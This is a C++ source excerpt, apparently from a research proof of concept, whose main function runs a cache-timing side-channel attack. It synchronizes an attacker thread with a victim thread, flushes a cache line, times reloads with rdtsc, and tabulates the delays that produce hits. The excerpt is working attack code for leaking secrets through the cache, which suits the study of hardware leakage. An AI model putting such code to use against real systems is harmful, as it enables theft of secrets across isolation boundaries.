in src/RemainingLeakage/RemainingLeakage.cpp [156:229]
int main()
{
if (SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS) == 0)
{
std::cout << "Failed to set priority class of process\n";
}
if (SetThreadAffinityMask(GetCurrentThread(), 1 << 1) == 0)
{
std::cout << "Failed to set affinity of attacker\n";
}
data = (char*)VirtualAlloc(0, DATA_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
warmUp();
for (size_t firstDelay = 0; firstDelay < MAX_FIRST_DELAY; firstDelay += 1)
{
for (size_t secondDelay = 0; secondDelay < MAX_SECOND_DELAY; secondDelay += 50)
{
for (size_t j = 0; j < NUMBER_OF_ATTEMPTS; ++j)
{
customBarrier = 2;
#ifdef SUCCESSFULL_ATTEMPT
auto victim = std::async(std::launch::async, threadfunc, 0);
#else
auto victim = std::async(std::launch::async, threadfunc, 7);
#endif
// Syncronize start of transaction with start of attack
InterlockedDecrement64((volatile long long*)&customBarrier);
while (customBarrier);
// First configurable delay to overlap flush with usage of secret
delayLoop(firstDelay);
// Flush
flush(data + 0 * 64);
// Second configurable delay to wait before maccess
delayLoop(secondDelay);
// Measure memory access time
size_t time = rdtsc();
maccess(data + 0 * 64);
size_t delta = rdtsc() - time;
// Check for hit and store
if (delta < MIN_CACHE_MISS_CYCLES)
{
timings[firstDelay][secondDelay]++;
}
victim.wait();
}
}
}
for (auto ait : timings)
{
for (auto kit : ait.second)
{
size_t percentage = (100 * kit.second) / NUMBER_OF_ATTEMPTS;
if (percentage >= PERCENTAGE_THRESHOLD)
{
printf("%zu, %zu, %zu\n", ait.first, kit.first, percentage);
}
}
}
fflush(stdout);
VirtualFree(data, 0, MEM_DECOMMIT | MEM_RELEASE);
return 0;
}